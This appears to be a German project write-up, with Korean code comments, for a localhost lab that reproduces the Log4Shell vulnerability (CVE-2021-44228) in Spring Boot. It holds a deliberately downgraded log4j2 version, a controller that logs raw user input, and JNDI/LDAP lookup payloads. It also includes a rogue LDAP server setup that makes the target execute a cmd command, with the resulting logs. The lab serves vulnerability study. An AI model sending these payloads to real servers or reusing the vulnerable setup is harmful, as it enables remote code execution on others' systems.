
Log4j2 LDAP-Schwachstellentest (CVE-2021-44228)
🎈 In einer Spring Boot 2.x Umgebung getestet
pom.xml: Log4j2-Version auf die verwundbare Version herabgesetzt
<properties>
<java.version>17</java.version>
<!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController: Controller-Methode hinzugefügt, die die Benutzereingabe unverändert protokolliert
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "예외 발생 X");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
}
return "redirect:/";
}
Im Browser ausführen

Wenn die Zeichenfolge ${jndi:ldap://127.0.0.1:19090/run} tatsächlich an den Server gesendet wird, versucht der Server, eine Verbindung zu 127.0.0.1:19090 herzustellen.
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
Da auf dem lokalen Port 19090 kein LDAP-Server läuft, wird eine Fehlerprotokollierung mit der Ausnahme Connection refused: connect erzeugt.
Im Code LOGGER.info("{}", ldapString); wurde keine JNDI-Fehlerausnahme ausgelöst.
https://github.com/veracode-research/rogue-jndi Aus diesem Code habe ich nur die Tomcat-bezogenen Teile untersucht und daraus ein einfaches Spring-Boot-Projekt erstellt.
Der Grund, warum ich nur die Tomcat-bezogenen Teile untersucht habe:
Da der zu testende Zielserver auf dem in Spring Boot integrierten Tomcat basiert, schien es ausreichend, nur Tomcat zu untersuchen, um die Funktionsweise der Schwachstelle zu bestätigen. Deshalb habe ich es so umgesetzt.
Befehlsvorbereitung
Nur einen einfachen Taschenrechner auszuführen war zu simpel, daher habe ich cmd-Befehle kombiniert.
ldapserver-config.properties
# 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
In der Praxis war es tatsächlich möglich, eine ausführbare Datei auf dem Testzielserver remote auszuführen. Die Überprüfung erfolgt wie folgt:
ldap-server und target-server starten
# LDAP 서버 실행
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# 테스트 타겟 서버 실행
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
Nach dem Senden der Zeichenfolge ${jndi:ldap://127.0.0.1:19090/o=tomcat} an den Testzielserver prüfen.

Im Stammverzeichnis des target-server-Projekts wurde eine test.txt-Datei erstellt und mit Notepad geöffnet.
Für die Erstellung der an den Ziel-Tomcat gesendeten Payload wird Nashorn, die JavaScript-Implementierung von Java, verwendet. Ab Java 15 wurde Nashorn jedoch vollständig entfernt. Dadurch kam es zu dem Problem, dass der LDAP-Server zwar Befehle an den Ziel-Tomcat sendete, diese aber nicht ausgeführt wurden.
In diesem Fall musste lediglich entweder nashorn-core oder rhino-engine als Bibliothek zum Ziel-Tomcat-Server hinzugefügt werden.
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
Um die Versionsverwaltung zu vereinfachen, habe ich die pom.xml in eine Eltern-Kind-Beziehung umgestellt. Das Projekt lässt sich dann wie folgt aus dem Verzeichnis mit der übergeordneten pom ausführen:
# 전체 테스트
$ mvnw clean test
# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐야한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run
Diese Software dient ausschließlich Bildungszwecken und/oder zum Testen von Systemen, für die der Benutzer zuvor die Erlaubnis zum Angriff erteilt hat.
(Ich habe diesen Hinweis übernommen, da er auch im rogue-jndi hinzugefügt wurde. 😓)